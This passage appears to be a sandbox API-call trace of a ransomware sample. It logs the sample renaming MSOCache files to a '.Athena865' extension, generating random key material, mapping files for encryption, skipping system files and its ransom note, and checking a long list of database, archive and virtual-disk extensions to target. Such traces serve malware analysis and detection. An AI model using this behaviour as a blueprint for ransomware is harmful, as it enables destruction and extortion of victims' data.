Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.Athena865") returned 91 [0105.229] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.athena865"), dwFlags=0x1) returned 1 [0105.231] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0105.231] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11482605) returned 1 [0105.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0105.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0105.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0105.232] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0105.232] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0105.232] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.233] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaf38f0, lpName=0x0) returned 0x154 [0105.234] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xa00000, dwNumberOfBytesToMap=0xf38f0) returned 0x2d50000 [0105.278] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0105.351] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0105.415] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0105.416] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0105.416] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0105.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0105.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0105.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0105.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0105.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0105.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0105.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0105.416] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0105.425] CloseHandle (hObject=0x154) returned 1 [0105.425] CloseHandle (hObject=0x17c) returned 1 [0105.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0105.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0105.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0105.434] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2=".") returned 1 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2="..") returned 1 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2="windows") returned -1 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2="bootmgr") returned 1 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2="temp") returned -1 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2="pagefile.sys") returned 1 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2="boot") returned 1 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2="ids.txt") returned 1 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2="ntuser.dat") returned 1 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2="perflogs") returned 1 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2="MSBuild") returned 1 [0105.435] lstrlenW (lpString="Proof.msi") returned 9 [0105.435] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Proof.msi" | out: lpString1="Proof.msi") returned="Proof.msi" [0105.435] lstrlenW (lpString="Proof.msi") returned 9 [0105.435] lstrlenW (lpString="Athena865") returned 9 [0105.435] lstrlenW (lpString=".dll") returned 4 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2=".dll") returned 1 [0105.435] lstrlenW (lpString=".lnk") returned 4 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2=".lnk") returned 1 [0105.435] lstrlenW (lpString=".ini") returned 4 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2=".ini") returned 1 [0105.435] lstrlenW (lpString=".sys") returned 4 [0105.435] lstrcmpiW (lpString1="Proof.msi", lpString2=".sys") returned 1 [0105.435] lstrlenW (lpString="Proof.msi") returned 9 [0105.435] lstrlenW (lpString="bak") returned 3 [0105.435] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0105.435] lstrlenW (lpString="ba_") returned 3 [0105.435] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0105.435] lstrlenW (lpString="dbb") returned 3 [0105.436] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0105.436] lstrlenW (lpString="vmdk") returned 4 [0105.436] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0105.436] lstrlenW (lpString="rar") returned 3 [0105.436] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0105.436] lstrlenW (lpString="zip") returned 3 [0105.436] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0105.436] lstrlenW (lpString="tgz") returned 3 [0105.436] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0105.436] lstrlenW (lpString="vbox") returned 4 [0105.436] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0105.436] lstrlenW (lpString="vdi") returned 3 [0105.436] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0105.436] lstrlenW (lpString="vhd") returned 3 [0105.436] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0105.436] lstrlenW (lpString="vhdx") returned 4 [0105.436] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0105.436] lstrlenW (lpString="avhd") returned 4 [0105.436] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0105.436] lstrlenW (lpString="db") returned 2 [0105.436] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0105.436] lstrlenW (lpString="db2") returned 3 [0105.436] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0105.436] lstrlenW (lpString="db3") returned 3 [0105.436] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0105.436] lstrlenW (lpString="dbf") returned 3 [0105.436] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0105.436] lstrlenW (lpString="mdf") returned 3 [0105.436] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0105.436] lstrlenW (lpString="mdb") returned 3 [0105.436] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0105.437] lstrlenW (lpString="sql") returned 3 [0105.437] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0105.437] lstrlenW (lpString="sqlite") returned 6 [0105.437] lstrcmpiW (lpString1="of.msi", lpString2="sqlite") returned -1 [0105.437] lstrlenW (lpString="sqlite3") returned 7 [0105.437] lstrcmpiW (lpString1="oof.msi", lpString2="sqlite3") returned -1 [0105.437] lstrlenW (lpString="sqlitedb") returned 8 [0105.437] lstrcmpiW (lpString1="roof.msi", lpString2="sqlitedb") returned -1 [0105.437] lstrlenW (lpString="xml") returned 3 [0105.437] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0105.437] lstrlenW (lpString="$er") returned 3 [0105.437] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0105.437] lstrlenW (lpString="4dd") returned 3 [0105.437] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0105.437] lstrlenW (lpString="4dl") returned 3 [0105.437] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0105.437] lstrlenW (lpString="^^^") returned 3 [0105.437] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0105.437] lstrlenW (lpString="abs") returned 3 [0105.437] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0105.437] lstrlenW (lpString="abx") returned 3 [0105.437] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0105.437] lstrlenW (lpString="accdb") returned 5 [0105.437] lstrcmpiW (lpString1="f.msi", lpString2="accdb") returned 1 [0105.437] lstrlenW (lpString="accdc") returned 5 [0105.437] lstrcmpiW (lpString1="f.msi", lpString2="accdc") returned 1 [0105.437] lstrlenW (lpString="accde") returned 5 [0105.437] lstrcmpiW (lpString1="f.msi", lpString2="accde") returned 1 [0105.437] lstrlenW (lpString="accdr") returned 5 [0105.437] lstrcmpiW (lpString1="f.msi", lpString2="accdr") returned 1 [0105.437] lstrlenW (lpString="accdt") returned 5 [0105.437] lstrcmpiW (lpString1="f.msi", lpString2="accdt") returned 1 [0105.438] lstrlenW (lpString="accdw") returned 5 [0105.438] lstrcmpiW (lpString1="f.msi", lpString2="accdw") returned 1 [0105.438] lstrlenW (lpString="accft") returned 5 [0105.438] lstrcmpiW (lpString1="f.msi", lpString2="accft") returned 1 [0105.438] lstrlenW (lpString="adb") returned 3 [0105.438] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0105.438] lstrlenW (lpString="adb") returned 3 [0105.438] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0105.438] lstrlenW (lpString="ade") returned 3 [0105.438] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0105.438] lstrlenW (lpString="adf") returned 3 [0105.438] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0105.438] lstrlenW (lpString="adn") returned 3 [0105.438] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0105.438] lstrlenW (lpString="adp") returned 3 [0105.438] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0105.438] lstrlenW (lpString="alf") returned 3 [0105.438] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0105.438] lstrlenW (lpString="ask") returned 3 [0105.438] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0105.438] lstrlenW (lpString="btr") returned 3 [0105.438] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0105.438] lstrlenW (lpString="cat") returned 3 [0105.438] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0105.438] lstrlenW (lpString="cdb") returned 3 [0105.438] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0105.438] lstrlenW (lpString="ckp") returned 3 [0105.438] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0105.438] lstrlenW (lpString="cma") returned 3 [0105.438] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0105.438] lstrlenW (lpString="cpd") returned 3 [0105.439] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0105.439] lstrlenW (lpString="dacpac") returned 6 [0105.439] lstrcmpiW (lpString1="of.msi", lpString2="dacpac") returned 1 [0105.439] lstrlenW (lpString="dad") returned 3 [0105.439] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0105.439] lstrlenW (lpString="dadiagrams") returned 10 [0105.439] lstrlenW (lpString="daschema") returned 8 [0105.439] lstrcmpiW (lpString1="roof.msi", lpString2="daschema") returned 1 [0105.439] lstrlenW (lpString="db-journal") returned 10 [0105.439] lstrlenW (lpString="db-shm") returned 6 [0105.439] lstrcmpiW (lpString1="of.msi", lpString2="db-shm") returned 1 [0105.439] lstrlenW (lpString="db-wal") returned 6 [0105.439] lstrcmpiW (lpString1="of.msi", lpString2="db-wal") returned 1 [0105.439] lstrlenW (lpString="dbc") returned 3 [0105.439] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0105.439] lstrlenW (lpString="dbs") returned 3 [0105.439] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0105.439] lstrlenW (lpString="dbt") returned 3 [0105.439] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0105.439] lstrlenW (lpString="dbv") returned 3 [0105.439] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0105.439] lstrlenW (lpString="dbx") returned 3 [0105.439] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0105.439] lstrlenW (lpString="dcb") returned 3 [0105.439] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0105.439] lstrlenW (lpString="dct") returned 3 [0105.439] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0105.439] lstrlenW (lpString="dcx") returned 3 [0105.439] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0105.439] lstrlenW (lpString="ddl") returned 3 [0105.439] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0105.439] lstrlenW (lpString="dlis") returned 4 [0105.440] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0105.440] lstrlenW (lpString="dp1") returned 3 [0105.440] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0105.440] lstrlenW (lpString="dqy") returned 3 [0105.440] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0105.440] lstrlenW (lpString="dsk") returned 3 [0105.440] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0105.440] lstrlenW (lpString="dsn") returned 3 [0105.440] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0105.440] lstrlenW (lpString="dtsx") returned 4 [0105.440] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0105.440] lstrlenW (lpString="dxl") returned 3 [0105.440] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0105.440] lstrlenW (lpString="eco") returned 3 [0105.440] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0105.440] lstrlenW (lpString="ecx") returned 3 [0105.440] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0105.440] lstrlenW (lpString="edb") returned 3 [0105.440] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0105.440] lstrlenW (lpString="epim") returned 4 [0105.440] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0105.440] lstrlenW (lpString="fcd") returned 3 [0105.440] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0105.440] lstrlenW (lpString="fdb") returned 3 [0105.440] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0105.440] lstrlenW (lpString="fic") returned 3 [0105.440] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0105.440] lstrlenW (lpString="flexolibrary") returned 12 [0105.440] lstrlenW (lpString="fm5") returned 3 [0105.440] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0105.440] lstrlenW (lpString="fmp") returned 3 [0105.440] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0105.441] lstrlenW (lpString="fmp12") returned 5 [0105.441] lstrcmpiW (lpString1="f.msi", lpString2="fmp12") returned -1 [0105.441] lstrlenW (lpString="fmpsl") returned 5 [0105.441] lstrcmpiW (lpString1="f.msi", lpString2="fmpsl") returned -1 [0105.441] lstrlenW (lpString="fol") returned 3 [0105.441] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0105.441] lstrlenW (lpString="fp3") returned 3 [0105.441] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0105.441] lstrlenW (lpString="fp4") returned 3 [0105.441] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0105.441] lstrlenW (lpString="fp5") returned 3 [0105.441] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0105.441] lstrlenW (lpString="fp7") returned 3 [0105.441] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0105.441] lstrlenW (lpString="fpt") returned 3 [0105.441] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0105.441] lstrlenW (lpString="frm") returned 3 [0105.441] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0105.441] lstrlenW (lpString="gdb") returned 3 [0105.441] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0105.441] lstrlenW (lpString="gdb") returned 3 [0105.441] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0105.441] lstrlenW (lpString="grdb") returned 4 [0105.441] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0105.441] lstrlenW (lpString="gwi") returned 3 [0105.441] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0105.441] lstrlenW (lpString="hdb") returned 3 [0105.441] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0105.441] lstrlenW (lpString="his") returned 3 [0105.441] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0105.441] lstrlenW (lpString="ib") returned 2 [0105.442] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0105.442] lstrlenW (lpString="idb") returned 3 [0105.442] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0105.442] lstrlenW (lpString="ihx") returned 3 [0105.442] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0105.442] lstrlenW (lpString="itdb") returned 4 [0105.442] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0105.442] lstrlenW (lpString="itw") returned 3 [0105.442] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0105.442] lstrlenW (lpString="jet") returned 3 [0105.442] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0105.442] lstrlenW (lpString="jtx") returned 3 [0105.442] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0105.442] lstrlenW (lpString="kdb") returned 3 [0105.442] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0105.442] lstrlenW (lpString="kexi") returned 4 [0105.442] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0105.442] lstrlenW (lpString="kexic") returned 5 [0105.442] lstrcmpiW (lpString1="f.msi", lpString2="kexic") returned -1 [0105.442] lstrlenW (lpString="kexis") returned 5 [0105.442] lstrcmpiW (lpString1="f.msi", lpString2="kexis") returned -1 [0105.442] lstrlenW (lpString="lgc") returned 3 [0105.442] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0105.442] lstrlenW (lpString="lwx") returned 3 [0105.443] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0105.443] lstrlenW (lpString="maf") returned 3 [0105.443] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0105.443] lstrlenW (lpString="maq") returned 3 [0105.443] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0105.443] lstrlenW (lpString="mar") returned 3 [0105.443] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0105.443] lstrlenW (lpString="marshal") returned 7 [0105.443] lstrcmpiW (lpString1="oof.msi", lpString2="marshal") returned 1 [0105.443] lstrlenW (lpString="mas") returned 3 [0105.443] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0105.443] lstrlenW (lpString="mav") returned 3 [0105.443] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0105.443] lstrlenW (lpString="maw") returned 3 [0105.443] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0105.444] lstrlenW (lpString="mdbhtml") returned 7 [0105.444] lstrcmpiW (lpString1="oof.msi", lpString2="mdbhtml") returned 1 [0105.444] lstrlenW (lpString="mdn") returned 3 [0105.444] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0105.444] lstrlenW (lpString="mdt") returned 3 [0105.444] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0105.444] lstrlenW (lpString="mfd") returned 3 [0105.444] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0105.444] lstrlenW (lpString="mpd") returned 3 [0105.444] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0105.444] lstrlenW (lpString="mrg") returned 3 [0105.444] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0105.444] lstrlenW (lpString="mud") returned 3 [0105.444] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0105.444] lstrlenW (lpString="mwb") returned 3 [0105.444] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0105.444] lstrlenW (lpString="myd") returned 3 [0105.444] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0105.444] lstrlenW (lpString="ndf") returned 3 [0105.444] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0105.444] lstrlenW (lpString="nnt") returned 3 [0105.444] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0105.444] lstrlenW (lpString="nrmlib") returned 6 [0105.444] lstrcmpiW (lpString1="of.msi", lpString2="nrmlib") returned 1 [0105.444] lstrlenW (lpString="ns2") returned 3 [0105.444] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0105.444] lstrlenW (lpString="ns3") returned 3 [0105.444] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0105.444] lstrlenW (lpString="ns4") returned 3 [0105.444] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0105.444] lstrlenW (lpString="nsf") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0105.445] lstrlenW (lpString="nv") returned 2 [0105.445] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0105.445] lstrlenW (lpString="nv2") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0105.445] lstrlenW (lpString="nwdb") returned 4 [0105.445] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0105.445] lstrlenW (lpString="nyf") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0105.445] lstrlenW (lpString="odb") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0105.445] lstrlenW (lpString="odb") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0105.445] lstrlenW (lpString="oqy") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0105.445] lstrlenW (lpString="ora") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0105.445] lstrlenW (lpString="orx") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0105.445] lstrlenW (lpString="owc") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0105.445] lstrlenW (lpString="p96") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0105.445] lstrlenW (lpString="p97") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0105.445] lstrlenW (lpString="pan") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0105.445] lstrlenW (lpString="pdb") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0105.445] lstrlenW (lpString="pdm") returned 3 [0105.445] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0105.445] lstrlenW (lpString="pnz") returned 3 [0105.446] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0105.446] lstrlenW (lpString="qry") returned 3 [0105.446] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0105.446] lstrlenW (lpString="qvd") returned 3 [0105.446] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0105.446] lstrlenW (lpString="rbf") returned 3 [0105.446] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0105.446] lstrlenW (lpString="rctd") returned 4 [0105.446] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0105.446] lstrlenW (lpString="rod") returned 3 [0105.446] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0105.446] lstrlenW (lpString="rodx") returned 4 [0105.446] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0105.446] lstrlenW (lpString="rpd") returned 3 [0105.446] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0105.446] lstrlenW (lpString="rsd") returned 3 [0105.446] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0105.446] lstrlenW (lpString="sas7bdat") returned 8 [0105.446] lstrcmpiW (lpString1="roof.msi", lpString2="sas7bdat") returned -1 [0105.446] lstrlenW (lpString="sbf") returned 3 [0105.446] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0105.446] lstrlenW (lpString="scx") returned 3 [0105.446] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0105.446] lstrlenW (lpString="sdb") returned 3 [0105.446] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0105.446] lstrlenW (lpString="sdc") returned 3 [0105.446] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0105.446] lstrlenW (lpString="sdf") returned 3 [0105.446] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0105.446] lstrlenW (lpString="sis") returned 3 [0105.446] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0105.447] lstrlenW (lpString="spq") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0105.447] lstrlenW (lpString="te") returned 2 [0105.447] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0105.447] lstrlenW (lpString="teacher") returned 7 [0105.447] lstrcmpiW (lpString1="oof.msi", lpString2="teacher") returned -1 [0105.447] lstrlenW (lpString="tmd") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0105.447] lstrlenW (lpString="tps") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0105.447] lstrlenW (lpString="trc") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0105.447] lstrlenW (lpString="trc") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0105.447] lstrlenW (lpString="trm") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0105.447] lstrlenW (lpString="udb") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0105.447] lstrlenW (lpString="udl") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0105.447] lstrlenW (lpString="usr") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0105.447] lstrlenW (lpString="v12") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0105.447] lstrlenW (lpString="vis") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0105.447] lstrlenW (lpString="vpd") returned 3 [0105.447] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0105.447] lstrlenW 